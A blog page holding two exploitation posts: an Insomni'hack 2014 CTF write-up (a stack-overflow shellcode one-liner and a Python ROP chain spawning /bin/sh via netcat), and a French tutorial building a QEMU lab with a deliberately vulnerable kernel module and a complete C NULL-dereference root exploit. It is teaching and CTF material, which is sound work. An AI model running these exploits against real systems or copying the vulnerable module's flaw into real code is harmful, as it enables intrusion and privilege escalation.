To search

w3pwnz

w3pwnz, therefore we are

Monday, March 24 2014 13:53

Insomni'hack 2014 - bender & teleport writeups

In this post I'll describe my solutions to the bender (pwn400) & teleport (pwn600) challenges, which were the only two pwnables we had unlocked :/ (we were only two players)
It seems pwnables were overrated, so I'd say those were more like pwn200 and pwn400.

bender

Good news everyone, to help out with the pollution of space, bender has a new waste disposal!
In a totally unrelated news, Dr Zoidberg disappeared... Here's the disposal anyway:
AVAIL ON 10.13.37.35:4003 | 10.13.37.25:4003
ASLR: YES NX:NO

Download the binary (ELF x86) here.

The binary reads user input byte by byte in a buffer of 128 bytes with buf[counter++].
The stack layout is [ buffer ][ counter ][ s-ebp ][ s-eip ].
So when you write more than 128 bytes you overflow into the counter. We just need to overwrite the last byte of the counter so that it will write directly on the saved eip.

NX is disabled so we can put our shellcode right after the saved EIP on the stack and use a "jmp *esp" like gadget:

0x08048521: push esp :: ret

Final exploit:

(python2 -c 'import struct; print "A"*128+"\x8F"+struct.pack("<I", 0x08048521)+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x00"'; cat -)|nc 10.13.37.35 4003

teleport

We heard there's a teleporter out there which allows you to get closer to the center of the galaxy!
It seems totally broken tho, but I'm sure you can "fix" it! (bonus flag inside)
AVAIL ON 10.13.37.36:4000 10.13.37.26:4000
ASLR: NO NX: YES

Download the binary (ELF x86) here.

This is a very small static binary written in assembly. The vulnerability is obvious: the program reads 0x28 bytes in a 0x14 buffer located on the stack. The difficulty (and fun) comes from the lack of good gadgets. We indeed have very nice gadgets like "int 0x80 ; ret", but we need to pass parameters in registers, and the usual gadgets like pop eax are not present. The read wrapper is:

read_wrapper.png

This is nice as it allows us to setup registers ebx, ecx and edx. The only register modified by the syscall is eax, which is the return value. The problem is there isn't any gadget to setup eax, which is very important as it holds the syscall number... However, we can use the return value of a call to read() to set it.

But that means we also need to give valid parameters to read(), and that's a problem because what we want to do is execve(), which uses different parameters. Also we can't use any gadgets that contain int 0x80 because that would overwrite our eax value. A good solution is to use the gadget twice: the first time we use the following gadget to setup eax:

0x08048109: mov eax, 0x00000003 :: mov ebx, dword [esp+0x04] :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

Then we use the same gadget just skipping the mov eax, 3, but using different values to fill ebx, ecx and edx.
But that would require us to overwrite more data on the stack and we are quite limited (20 bytes).

We have two solutions:

  1. Hardcode a stack address (remember that ASLR is off...).
  2. Find a gadget to pivot to a crafted stack at a known address

We can leak the stack using the write wrapper at 0x080480F5, which allows to retrieve the exact location of our buffer on the remote system, by leaking 0x2000 bytes before 0xbfffffff, then we ROP to read() at this location + xx bytes to write our stage 2 ropchain, and use the gadget at 0x08048109 to perform execve().
However there is a much cleaner alternative that also works when ASLR is enabled...

It may be surprising, but there is a nice gadget available to pivot if you increase the ROP depth a bit more:

0x080480fb: pop esp :: and al, 0x04 :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

We want to perform a execve("/bin/sh", {"/bin/sh", NULL}, NULL), proceeding like this:

  1. Store the execve parameters in a fixed location: .data is rw and static, we can simply use the read wrapper gadget to write our parameters there. We can kill two birds with one stone and also store our stage2 ropchain there ;
  2. Set eax to 0x0B (SYS_execve) using the read wrapper gadget once more ;
  3. Pivot our stack to .data using the gadget at 0x080480fb ;
  4. Set the remaining registers (ebx, ecx, edx) to execve parameters, and execute the syscall, using one last time the read wrapper gadget (skipping the mov eax, 3).
  5. Enjoy our shell.

Here is my exploit:

#!/usr/bin/env python2
 
import sys
import struct
 
DATA_BASE = 0x08049130
 
#------------------------------------------------------------------------------
# Step 1: Setup .data with our execve parameters
#------------------------------------------------------------------------------
 
# 1.1: Recv to .data
 
payload  = "A" * 0x14
payload += struct.pack("<I", 0x08048109)            # Wrapper to read(fd, addr, len)
payload += struct.pack("<I", 0x0804811D)            # Replay vuln
payload += struct.pack("<I", 0x0)                          # fd = STDIN_FILENO
payload += struct.pack("<I", DATA_BASE)              # addr = .data
payload += struct.pack("<I", 0x100)                      # len = large enough
 
payload  = payload.ljust(0x28, "\x00")                    # Padding (useless here)
 
sys.stdout.write(payload)
 
# 1.2: Send execve parameters & stage2 ropchain
 
args_execve  = struct.pack("<I", DATA_BASE + 8)  # argv[0] -> "/bin/sh"
args_execve += struct.pack("<I", 0x0)                   # argv[1] -> NULL
args_execve += "/bin/sh\x00"                                 # "/bin/sh"
 
args_execve  = args_execve.ljust(0x80, "\x00")      # Padding
 
stage2  = struct.pack("<I", 0x08048109)              # Wrapper to read(fd, addr, len)
stage2 += struct.pack("<I", 0x0804812c)             # add esp, 0x20 ; ret
 
stage2 += struct.pack("<I", 0x0)                           # ebx : fd = STDIN_FILENO
stage2 += struct.pack("<I", DATA_BASE + 0x100) # ecx : addr
stage2 += struct.pack("<I", 0xB)                           # edx : len
 
stage2 += "JUNK" * 5
stage2 += struct.pack("<I", 0x0804810E)             # mov ebx, dword [esp+0x04] ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret 
stage2 += struct.pack("<I", 0x080480E9)             # exit(0)
stage2 += struct.pack("<I", DATA_BASE + 8)        # ebx : "/bin/sh"
stage2 += struct.pack("<I", DATA_BASE)               # ecx : **argv
stage2 += struct.pack("<I", 0x0)                           # edx : **env = NULL
 
stage2  = stage2.ljust(0x80, "\x00")                      # Padding
 
sys.stdout.write(args_execve + stage2)
 
#------------------------------------------------------------------------------
# Step 2: Pivot to .data
#------------------------------------------------------------------------------
 
# 2.1: Pivot to .data
 
payload  = "B" * 0x14
payload += struct.pack("<I", 0x080480fb)            # pop esp ; and al, 0x04 ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret
payload += struct.pack("<I", DATA_BASE + 0x80) # pivot esp
 
payload = payload.ljust(0x28, "\x00")                    # Padding
 
sys.stdout.write(payload)
 
# 2.2: Send 0xB bullshit chars to set eax to 0xB after recv
 
sys.stdout.write("X" * 0xB)

We launch the exploit like this:

(./sploit.py; cat -)|nc 10.13.37.36 4000

Once we had our shell, the flag was in flag.txt. There was also a bonus flag if your exploit got you a shell and not only a file read. The bonus flag was in a file that couldn't be read by the current user, but a setuid binary allowed us to get the bonus flag by simply executing it. +200 points for free ;)

Sunday, January 19 2014 20:53

Exploitation du kernel pour les NULL - Déréférencement de pointeur

Ce billet a pour but de présenter l'exploitation du kernel par l'exemple. Ce premier billet vous présentera l'exploitation du kernel au travers d'une faille de type déréférencement de pointeur. Encore une fois le but ici est de détailler au maximum les différentes étapes allant de la conception d'un mini linux ainsi que de la création d'un module kernel faillible et de son exploitation.

Pour information le kernel est le noyau du système d'exploitation, il va permettre le dialogue entre la partie materielle et logicielle. Pour plus de précisions concernant le noyau je vous renvoie vers wikipedia. Il faut savoir que les failles au niveau kernel ne s'exploitent pas de la même manière que celles que l'on trouve niveau utilisateur, vous découvrirez ici une des manières pour exploiter le kernel.

1ère étape - Création d'un mini linux

Avant de pouvoir passer à l'exploitation, on va commencer par créer une machine virtuelle avec un linux allégé. Pour cela on va télécharger un kernel sur kernel.org et le compiler. Le but etant de récuperer le fichier bzImage qui est le kernel compilé et compressé.

Le bzImage est composé de la manière suivante :

Anatomy-of-bzimage.png

Les opérations se font sous un shell linux (si vous souhaitez compiler votre mini linux en 64 bits, il faut de préférence être sur un linux 64 bits, sinon certaines options non décrites dans cet article seront nécessaires) :

root@kali:~/Null_deref# wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.11.tar.gz
--2014-01-19 20:08:09--  https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.11.tar.gz
Résolution de www.kernel.org (www.kernel.org)... 149.20.4.69
Connexion vers www.kernel.org (www.kernel.org)|149.20.4.69|:443...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 113151474 (108M) [application/x-gzip]
Sauvegarde en : «linux-3.11.tar.gz»
 
100%[===========================================================>] 113 151 474  483K/s   ds 3m 50s  
 
2014-01-19 20:12:00 (481 KB/s) - «linux-3.11.tar.gz» sauvegardé [113151474/113151474]
 
root@kali:~/Null_deref# tar zxvf linux-3.11.tar.gz 
root@kali:~/Null_deref# cd linux-3.11/
root@kali:~/Null_deref/linux-3.11# make menuconfig

Le make menuconfig permet de paramétrer notre kernel, par exemple le type de processeur 64 ou 32 bits, le type de système de fichier supporté etc. Personnellement j'ai tout laissé par défaut. J'ai tout simplement cliqué sur Exit. Le menuconfig va créer le fichier .config répertoriant l'ensemble des options de votre kernel nécessaire à la compilation.

make_menuconfig.png

root@kali:~/Null_deref/linux-3.11# make -j2 bzImage (-j2 permettra d'accélerer la compilation si vous avez plusieurs coeurs)
... (Après quelques minutes/heures)
  CC      arch/x86/boot/memory.o
  CC      arch/x86/boot/pm.o
  AS      arch/x86/boot/pmjump.o
  CC      arch/x86/boot/printf.o
  CC      arch/x86/boot/regs.o
  CC      arch/x86/boot/string.o
  CC      arch/x86/boot/tty.o
  CC      arch/x86/boot/video.o
  CC      arch/x86/boot/video-mode.o
  CC      arch/x86/boot/version.o
  CC      arch/x86/boot/video-vga.o
  CC      arch/x86/boot/video-vesa.o
  CC      arch/x86/boot/video-bios.o
  LD      arch/x86/boot/setup.elf
  OBJCOPY arch/x86/boot/setup.bin
  OBJCOPY arch/x86/boot/vmlinux.bin
  HOSTCC  arch/x86/boot/tools/build
  BUILD   arch/x86/boot/bzImage
Setup is 17100 bytes (padded to 17408 bytes).
System is 2352 kB
CRC eab091a2
Kernel: arch/x86/boot/bzImage is ready  (#1)

Voila nous avons maintenant notre kernel compilé et prêt à l'emploi dans le dossier arch/x86/boot/bzImage. Maintenant que nous avons notre kernel, il va tout de même nous falloir un systeme de fichier virtuel initial (initramfs) qui permet de finaliser le lancement de linux. Il faut savoir que dès lors que le noyau Linux a le contrôle sur le système, il prépare ses structures mémoire et ses pilotes comme il le peut, il passe ensuite le contrôle à une application (en général init) dont la tâche est de compléter la préparation du système. Ce fichier initramfs comprendra les programmes de bases pour pouvoir utiliser l'OS (sh, ls, cat, id etc). Pour de plus amples renseignements concernant l'initramfs, je vous invite à lire cette page du wiki gentoo.

On va donc reconstruire un système de fichier avec les binaires qui vont bien. Pour cela on va utiliser busybox. Cet outil va nous permettre de manière simple d'obtenir un système de fichier linux allégé prêt à l'emploi.

root@kali:~/Null_deref# wget http://www.busybox.net/downloads/busybox-1.22.0.tar.bz2
--2014-01-19 20:50:03--  http://www.busybox.net/downloads/busybox-1.22.0.tar.bz2
Résolution de www.busybox.net (www.busybox.net)... 140.211.167.224
Connexion vers www.busybox.net (www.busybox.net)|140.211.167.224|:80...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 2218120 (2,1M) [application/x-bzip2]
Sauvegarde en : «busybox-1.22.0.tar.bz2»
 
100%[===========================================================>] 2 218 120    438K/s   ds 5,6s    
 
2014-01-19 20:50:11 (385 KB/s) - «busybox-1.22.0.tar.bz2» sauvegardé [2218120/2218120]
 
root@kali:~/Null_deref# tar jxvf busybox-1.22.0.tar.bz2
root@kali:~/Null_deref# cd busybox-1.22.0

On se place dans le dossier busybox et on va compiler le tout. Attention penser à compiler en statique pour éviter de dépendre d'autres librairies qui ne seront pas présentes sur notre linux allégé. Pour cela lancer la commande suivante :

root@kali:~/Null_deref/busybox-1.22.0# make CFLAGS=-static install 
  ./_install//bin/ash -> busybox
  ./_install//bin/base64 -> busybox
  ./_install//bin/cat -> busybox
  ./_install//bin/catv -> busybox
....
  ./_install//usr/sbin/ubirmvol -> ../../bin/busybox
  ./_install//usr/sbin/ubirsvol -> ../../bin/busybox
  ./_install//usr/sbin/ubiupdatevol -> ../../bin/busybox
  ./_install//usr/sbin/udhcpd -> ../../bin/busybox
 
 
--------------------------------------------------
You will probably need to make your busybox binary
setuid root to ensure all configured applets will
work properly.
--------------------------------------------------

Voila on peut maintenant aller dans le dossier _install et on retrouve notre système de fichier prêt à l'emploi :

root@kali:~/Null_deref/busybox-1.22.0/_install# ls
bin  dev  etc  linuxrc  proc  sbin  sys  usr

Pret à l'emploi, enfin presque il manque plus que quelques petites choses :

  1. création du dossiers /proc
  2. création du fichier /etc/passwd pour déclarer nos utilisateurs
  3. création de leur homedirectory
  4. création du fichier init

On déclare donc deux utilisateurs dans le fichier passwd : root et user et ils auront pour dossier de travail les dossiers respectifs suivants : /root et /home/user qu'il faudra également créer.

root@kali:~/Null_deref/initramfs# cat etc/passwd 
root:x:0:0:root:/root:/bin/sh
user:x:1000:1000:user:/home/user:/bin/sh

La création du fichier init est également obligatoire, c'est ce fichier qui sera lancé au démarrage de la machine après le kernel.

root@kali:~/Null_deref/initramfs# cat init 
#!/bin/sh
# on crée les fichier null et ttyS0
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
 
# on monte les partitions proc et sys
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
# on définit comme utilisateur par défaut user(1000) et on lance le shell
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
 
poweroff -f

Voila notre système de fichier est prêt. On va maintenant créer notre fichier initramfs.

root@kali:~/Null_deref/initramfs# find . |cpio -H newc -o | gzip > ../initramfs.img

Pour information, il faut savoir qu'il est également possible de faire l'opération inverse, c'est à dire extraire les dossiers d'un fichier initramfs via cette commande :

root@kali:~/Null_deref/initramfs# gzip -dcS .img initramfs.img | cpio -id

Nous avons donc maintenant tout ce qu'il nous faut pour lancer notre linux allégé avec qemu. Pour éviter de retaper la longue ligne de commande permettant d'appeler qemu avec les différents paramètres adequats, on va créer un petit script qui fera ça pour nous :

root@kali:~/Null_deref# cat run.sh 
#!/bin/bash
 
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1' \
    -monitor /dev/null \
    -initrd initramfs.img

Et voila ce que cela donne :

qemu_kernel_new.png.png

2ème étape - Création de notre module kernel faillible

La 2ème étape va être d'écrire un module kernel faillible, je ne me permettrai pas d'écrire sur l'etat de l'art concernant l'écriture de module kernel Pour cela je vous conseille plutôt ces excellents articles

Notre module va créer un périphérique linux disponible dans /dev vers lequel nous pourrons écrire des données. Ce périphérique acceptera deux commandes : init et show permettant respectivement d'aller initialiser et appeler le pointeur sur fonction d'une structure. La structure en question vuln_struct_s est déclarée de la manière suivante :

struct vuln_struct_s {
  void (*show)(void);
};

Et le bout de programme faillible :

if (!strcmp(msg, "init")){
  if (!vuln_struct) {
    vuln_struct = kmalloc(sizeof(struct vuln_struct_s), GFP_KERNEL);
    vuln_struct->show = func_show;
    printk("init OK\n");
  }
}
else if (!strcmp(msg, "show")){
  printk("show option\n");
  vuln_struct->show();
}

Si l'utilisateur envoie la commande init, le pointeur de la structure sera initialisé et si l'on appelle show il appellera la fonction pointée par la structure. Si l'on réflechit on voit rapidement le souci, si l'on appelle directement la fonction show sans passer par init le pointeur de la structure ne sera pas initialisé et pointera donc vers NULL (0x0000000000000000).

Les sources du module :

#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h> 
 
static dev_t first; // Global variable for the first device number
static struct cdev c_dev; // Global variable for the character device structure
static struct class *cl; // Global variable for the device class
 
struct vuln_struct_s {
  void (*show)(void);
};
 
static struct vuln_struct_s *vuln_struct;
 
static int my_open(struct inode *i, struct file *f)
{
  printk(KERN_INFO "Driver: open()\n");
  return 0;
}
 
static int my_close(struct inode *i, struct file *f)
{
  printk(KERN_INFO "Driver: close()\n");
  return 0;
}
 
static ssize_t my_read(struct file *f, char __user *buf, size_t len, loff_t *off)
{
  printk(KERN_INFO "Driver: read()\n");
  return 0;
}
 
static void func_show(void)
{
  printk("Func show\n");
}
 
static ssize_t my_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
  char *msg;
 
  printk(KERN_INFO "Driver: write()\n");
 
  msg = kmalloc(len + 1, GFP_DMA);
 
  if (msg){
 
    if (copy_from_user(msg, buf, len))
        return -EFAULT;
 
    msg[len] = '\0';
 
    if (!strcmp(msg, "init")){
      if (!vuln_struct) {
        vuln_struct = kmalloc(sizeof(struct vuln_struct_s), GFP_KERNEL);
        vuln_struct->show = func_show;
        printk("init OK\n");
      }
    }
    else if (!strcmp(msg, "show")){
      printk("show option\n");
      vuln_struct->show();
    }
  }
  kfree(msg);
  return len;
 
}
 
static struct file_operations pugs_fops =
{
  .owner = THIS_MODULE,
  .open = my_open,
  .release = my_close,
  .read = my_read,
  .write = my_write
};
 
static int __init vuln_init(void) /* Constructor */
{
  printk(KERN_INFO "Vuln registered");
  if (alloc_chrdev_region(&first, 0, 1, "vuln") < 0)
  {
    return -1;
  }
  if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
  {
    unregister_chrdev_region(first, 1);
    return -1;
  }
  if (device_create(cl, NULL, first, NULL, "vuln") == NULL)
  {
    printk(KERN_INFO "Vuln error");
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }
  cdev_init(&c_dev, &pugs_fops);
  if (cdev_add(&c_dev, first, 1) == -1)
  {
    device_destroy(cl, first);
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }
 
  printk(KERN_INFO "<Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
  return 0;
}
 
static void __exit vuln_exit(void) /* Destructor */
{
    unregister_chrdev_region(first, 3);
    printk(KERN_INFO "Vuln unregistered");
}
 
module_init(vuln_init);
module_exit(vuln_exit);
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("UfoX");
MODULE_DESCRIPTION("Vuln Kernel Module");

Pour le compiler, j'ai créé un Makefile des plus simples :

root@kali:~/Null_deref# cat Makefile 
obj-m+= vuln.o
# CFLAGS_vuln.o:= -fno-stack-protector -ggdb
all: 
	make -C /root/Null_deref/linux-3.11 M=$(PWD)
 
root@kali:~/Null_deref# make
make -C /root/Null_deref/linux-3.11 M=/root/Null_deref
make[1]: entrant dans le répertoire « /root/Null_deref/linux-3.11 »
  Building modules, stage 2.
  MODPOST 1 modules
  LD [M]  /root/Null_deref/vuln.ko
make[1]: quittant le répertoire « /root/Null_deref/linux-3.11 »

Maintenant que nous avons notre module compilé il va falloir l'ajouter à notre OS, Pour cela on va recopier le fichier vuln.ko à notre système de fichier virtuel et modifier le fichier init. Lors du chargement de celui-ci, il s'occupera d'installer notre module et de créer le fichier /dev/vuln correspondant à notre périphérique.

En tant que root, voici les commandes à connaître pour manipuler les modules kernel :

  • insmod : Charge le module
  • lsmod : Liste les modules chargés
  • rmmod : Décharge un module
root@kali:~/Null_deref# cp vuln.ko initramfs/usr/
root@kali:~/Null_deref# cd initramfs/
root@kali:~/Null_deref/initramfs# ls
bin  dev  etc  home  init  linuxrc  proc  root  sbin  sys  usr
root@kali:~/Null_deref/initramfs# vim init 
#!/bin/sh
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
 
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
# On ajoute ces 3 lignes :
insmod /usr/vuln.ko
mknod /dev/vuln c 251 0
chmod a+rw /dev/vuln
 
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
 
poweroff -f
root@kali:~/Null_deref/initramfs# find . |cpio -H newc -o | gzip > ../initramfs.img
5436 blocs

On relance notre machine virtuelle pour tester notre module : qemu_module.png

Et on retrouve bien dans le dmesg, les différents printk du module kernel lors de l'appel aux différentes fonctions du module.

qemu_module_dmesg.png

Comme je le disais au-dessus, si l'on relance la machine et que l'on appelle la fonction "show" sans passer par "init", le pointeur de notre structure ne sera pas initialisé et pointera donc vers NULL, la zone mémoire n'etant pas initialisée, le kernel va générer une erreur (kernel panic)

On teste tout ça dans notre machine virtuelle : kernel_panic.png

Il ne reste plus qu'à exploiter.

3ème étape - L'exploitation

Avant de parler exploitation pure, chose importante à savoir, l'espace mémoire accessible depuis l'espace utilisateur n'est pas le même que celui accessible depuis l'espace noyau. Le but de l'exploitation noyau est de faire rediriger le programme Kernel vers l'espace mémoire utilisateur que nous pouvons contrôler. Comme souvent dans les exploitations de binaire notre but va être de lancer un shell mais pour cela il faut être root. Comment faire vous allez me dire, rien de plus simple il suffit d’exécuter le code kernel suivant : commit_creds(prepare_kernel_cred (0)); où les fonctions xxx_creds sont des fonctions exportées du noyau.

Pour pouvoir appeler ces fonctions, il va nous falloir leur adresse, pour cela il faut savoir que le kernel stocke l'ensemble des adresses de fonctions dans le fichier /proc/kallsyms.

On peut vérifier cela dans notre machine virtuelle :

kallsyms.png

Nous avons maintenant tout ce qu'il nous faut pour écrire notre exploit. Les différentes étapes sont :

  1. mapper la mémoire à l'adresse 0x0000000000000000
  2. récupérer les adresses des fonctions de notre Kernel pour passer root
  3. Définir un pointeur vers l'appel de notre commande commit_creds(prepare_kernel_cred (0)) à l'adresse 0x0000000000000000
  4. Envoyer à notre module la commande show pour déclencher la faille
  5. Lancer notre shell en tant que root

L'exploitation finale :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#include <time.h>
#include <sys/ioctl.h>
 
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
 
 
struct cred;
struct task_struct;
 
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
 
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
 
void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
 
  if (getuid() == 0){
    printf("[+] Root shell success !! :)\n");
    execve("/bin/sh", argv, NULL);
  }
  printf("[-] failed to get root shell :(\n");
}
 
void get_root() {
  if (commit_creds && prepare_kernel_cred)
    commit_creds(prepare_kernel_cred(0));
}
 
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret = 0;
 
  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    printf("[-] Failed to open /proc/kallsyms\n");
    exit(-1);
  }
  printf("[+] Find %s...\n", name);
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      printf("[+] Found %s at %lx\n", name, addr);
      return addr;
    }
  }
  fclose(f);
  return 0;
}
 
int main()
{
  int fd;
  struct timespec time_info;
 
  if ((fd = open("/dev/vuln", O_RDWR)) < 0) {
    printf("Can't open device file: /dev/vuln\n");
    exit(1);
  }
 
  // 1 - Mapper la mémoire à l'adresse 0x0000000000000000
  printf("[+] Try to allocat 0x00000000...\n");
  if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
    printf("[-] Failed to allocat 0x00000000\n");
    return -1;
  }
  printf("[+] Allocation success !\n");
 
  // 2 - Appel de la fonction get_kernel_sym pour récuperer dans le /proc/kallsyms les adresses des fonctions
  prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
  commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
 
  // 3 - On définit un pointeur vers l'appel de notre fonction à l'adresse 0x0000000000000000
  printf("[+] Set pointer to get root cred\n");
  *(unsigned long *)0x0000000000000000 = (unsigned long)get_root;
 
  // 4 - Déclenchement de la vulnérabilité en appelant notre device avec la commande show
  printf("[+] Trig vuln...\n");
  write(fd, "show", 4);
 
  close(fd);
 
  // 5 - On a plus qu'à lancer notre shell => /bin/sh
  printf("[+] Try to get shell\n");
  get_shell();
 
  return -1;
}

Avant de pouvoir la tester sur notre mini linux, nous allons devoir modifier notre kernel. il faut savoir que depuis le kernel 2.6.23 une protection interdit à un processus n'étant pas root de mapper une adresse inférieure à une constante qui est définie dans /proc/sys/vm/mmap_min_addr. On va donc modifier cette valeur pour que l'exploitation puisse fonctionner, on va ajouter cela dans notre fichier init : echo 0 > /proc/sys/vm/mmap_min_addr

On compile notre exploit (on n'oublie pas de le compiler en statique pour éviter les dépendances d'autres librairies), on le recopie dans notre système de fichier, on recrée notre initramfs et on teste :

root@kali:~/Null_deref# gcc exploit.c -o exploit -static
root@kali:~/Null_deref# cp exploit initramfs
root@kali:~/Null_deref# cd initramfs/
root@kali:~/Null_deref/initramfs# find . |cpio -H newc -o | gzip > ../initramfs.img
6979 blocs
root@kali:~/Null_deref/initramfs# cd ..
root@kali:~/Null_deref# ./run.sh 
QEMU 1.1.2 monitor - type 'help' for more information
(qemu) QEMU 1.1.2 monitor - type 'help' for more information
(qemu) 
/ $ id
uid=1000(user) gid=1000 groups=1000
/ $ ./exploit 
[+] Try to allocat 0x00000000...
[+] Allocation success !
[+] Find prepare_kernel_cred...
[+] Found prepare_kernel_cred at ffffffff81053e81
[+] Find commit_creds...
[+] Found commit_creds at ffffffff81053c6e
[+] Set pointer for get root cred
[+] Trig vuln...
[+] Try to get shell
[+] Root shell success !! :)
/ # id
uid=0(root) gid=0
/ #

Et voila comment devenir root. J'aurais pu m'arrêter là sur la rédaction de cet article mais personnellement j'aime bien aller au fond des choses et pour cela on va debugguer l'exploit pour comprendre pas à pas son fonctionnement.

Il faut savoir que sous qemu il est possible de faire du debugguage à distance avec gdb. On va simplement ajouter à notre fichier de lancement run.sh les options -s -S : -s permettant la création d'un stub vers gdb -S gèle la machine le temps que gdb s'attache à lui

#!/bin/bash
 
qemu-system-x86_64 \
    -kernel bzImage \
    -nographic \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1' \
    -initrd initramfs.img \
    -s -S

On relance alors notre machine qemu et on voit qu'il ne se passe rien. En fait notre machine qemu attend que gdb s'attache à lui. Dans une autre fenêtre on va donc lancer gdb et exécuter la commande suivante target remote IP_de_sa_machine:1234

Attention à la configuration de gdb, je n'ai par exemple pas réussi à faire du remote debugging avec peda. Avec gdbinit cela fonctionne mais il faut penser à bien définir le type d'architecture sur laquelle on se connecte.

root@kali:~/Null_deref# gdb
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
64-bit mode is default. Use the 32bits command if your target is 32 bits.
Edit the $64BITS variable in your .gdbinit file to switch to default 32-bit mode.
gdb$ set architecture i386:x86-64
The target architecture is assumed to be i386:x86-64
gdb$ target remote 192.168.1.20:1234
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0xFFFFFFFF81601FD8  RBP: 0xFFFFFFFF81601FD8  RSP: 0xFFFFFFFF81601F68  o d I t s Z a P c 
  RDI: 0xFFFF880007C0DAFC  RSI: 0x0000000000000000  RDX: 0x00000000FFFFFFFF  RCX: 0x00000000FFFFFFFF  RIP: 0xFFFFFFFF8100890D
  R8 : 0x0000000000000000  R9 : 0x0000000000000001  R10: 0x0000000000000001  R11: 0x0000000000000000  R12: 0xFFFFFFFF817392D0
  R13: 0xFFFF880007FF8940  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffff8100890d:	mov    eax,DWORD PTR [rip+0x682a45]        # 0xffffffff8168b358
   0xffffffff81008913:	mov    esi,DWORD PTR gs:0xb0c4
   0xffffffff8100891b:	test   eax,eax
   0xffffffff8100891d:	je     0xffffffff81008933
   0xffffffff8100891f:	jmp    0xffffffff8100892d
   0xffffffff81008921:	mov    edi,0x1
   0xffffffff81008926:	call   0xffffffff810088c0
   0xffffffff8100892b:	jmp    0xffffffff8100890b
-----------------------------------------------------------------------------------------------------------------------------
0xffffffff8100890d in ?? ()
gdb$

Gdb s'attache bien à notre machine qemu, on peut donc dorénavant debug au niveau du kernel. On va placer un breakpoint au niveau de l'appel de la fonction my_write que nous avons récuperée précédement au travers du /proc/kallsyms :

gdb$ b * ffffffffa0000048
Breakpoint 1 at 0xffffffffa0000048
gdb$ c

On vérifie en écrivant sur notre péripherique que gdb s'arrête bien sur notre fonction :

$ echo -n "show" > /dev/vuln

Le programme ne nous rend pas la main et on voit que gdb s'arrête bien sur notre breakpoint posé précédemment :

-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFA0000048  RBX: 0x0000000000000004  RBP: 0xFFFF880007AAC880  RSP: 0xFFFF880006871EF0  o d I t S z a P c 
  RDI: 0xFFFF880007AAC880  RSI: 0x00000000015C1340  RDX: 0x0000000000000004  RCX: 0xFFFF880006871F50  RIP: 0xFFFFFFFFA0000048
  R8 : 0xFEFEFEFEFEFEFEFF  R9 : 0xFEFF86FF766E6772  R10: 0x0000000000000000  R11: 0x0000000000000246  R12: 0x00000000015C1340
  R13: 0xFFFF880006871F50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa0000048:	push   r12
   0xffffffffa000004a:	mov    rdi,0xffffffffa0001066
